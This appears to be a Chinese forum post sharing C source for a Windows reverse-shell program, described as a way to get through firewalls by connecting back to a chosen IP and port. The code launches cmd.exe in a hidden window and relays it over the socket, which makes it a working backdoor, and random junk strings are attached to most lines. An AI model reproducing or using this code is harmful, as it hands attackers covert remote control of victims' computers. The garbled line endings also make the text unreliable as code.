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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WHC/'kvF  
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/* ============================== }5fd:Bm;  
Rebound port in Windows NT F$8:9eL,T  
By wind,2006/7 bhUE!h<  
===============================*/ &n1Vv_Lb  
#include Kl.*Q  
#include 8U@f/ P  
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#pragma comment(lib,"wsock32.lib") RJ?)O#}  
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void OutputShell(); Q9cSrU[$  
SOCKET sClient; mPA)G,^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GSRf/::I}4  
!PIg ,  
void main(int argc,char **argv) }C @xl9S"  
{ &W>\Vl1  
WSADATA stWsaData; diXWm-ZKL  
int nRet; #f(a,,Uu'  
SOCKADDR_IN stSaiClient,stSaiServer; "7sv@I_j  
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if(argc != 3) QI[WXx p  
{ uT]$R  
printf("Useage:\n\rRebound DestIP DestPort\n"); _EMX x4J  
return; ?Q_ @@)  
} q#j[0,^ $  
xtGit}  
WSAStartup(MAKEWORD(2,2),&stWsaData); J;>;K6pW  
q!W,2xqZoq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ILCh1=?{9r  
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stSaiClient.sin_family = AF_INET; ?J$k 5;  
stSaiClient.sin_port = htons(0); .J-k^+-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1V`-D8-?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LHtO|Utn(  
{ ddL3wQ  
printf("Bind Socket Failed!\n"); v^eAQoFLhN  
return; 3sV$#l P  
} =RUy4+0>F  
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stSaiServer.sin_family = AF_INET; 7s%D(;W_Mo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3z0Bg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QV."ZhL5=  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9(fh+  
{ O$z"`'&j#  
printf("Connect Error!"); -)%\$z  
return; >yc),]1~  
} 3q4VH q  
OutputShell(); 48,*sTRq  
} 1[OY- G  
MVM Jl">  
void OutputShell() !43nL[]  
{ $-DW+|p.?^  
char szBuff[1024]; A23K!a2u&  
SECURITY_ATTRIBUTES stSecurityAttributes; \@PMj"p|:  
OSVERSIONINFO stOsversionInfo; ~V(>L=\V;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8/2Wq~&  
STARTUPINFO stStartupInfo; UK OhsE  
char *szShell; #>_t[9;  
PROCESS_INFORMATION stProcessInformation; .;31G0<w2  
unsigned long lBytesRead; u"5/QB{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C2LG@iCIE  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )T '?"guh`  
stSecurityAttributes.lpSecurityDescriptor = 0; -0a3eg)Z*  
stSecurityAttributes.bInheritHandle = TRUE; ZWGelZP~  
b w1s?_P  
+;!^aNJ,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eAO@B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z^]Oic/0Oa  
bh" Caz.(t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oG22;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \>su97  
stStartupInfo.wShowWindow = SW_HIDE; ,ng/T**@G  
stStartupInfo.hStdInput = hReadPipe; fBTNI`#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Nj4r[5K  
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GetVersionEx(&stOsversionInfo); @/aJi6d"^E  
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switch(stOsversionInfo.dwPlatformId) ,h5 FX^  
{ >WO;q  
case 1: y-@`3hYM@  
szShell = "command.com"; }#Up:o]A!  
break; n{|j#j  
default: yo5-x"ze  
szShell = "cmd.exe"; 4Tuh]5  
break; &hVf=We  
} a@|`!<5  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DFfh!KKR$  
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send(sClient,szMsg,77,0); %eF=;q  
while(1) k FRVW+  
{ ci%$So 2#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  pb<eg,  
if(lBytesRead) Q_/UC#I8  
{ Oc~<`C~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,X| >d  
send(sClient,szBuff,lBytesRead,0); kFQo[O]  
} r,|}^u8`  
else  ]x1ba_  
{ 4EeVO5  
lBytesRead=recv(sClient,szBuff,1024,0); aa]|  
if(lBytesRead<=0) break; /"!ck2d&1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ko!]vHB9`  
} fZs}u<3Q)  
} ! j6CvclT  
1=_?Wg:   
return; 4 J9Y  
}
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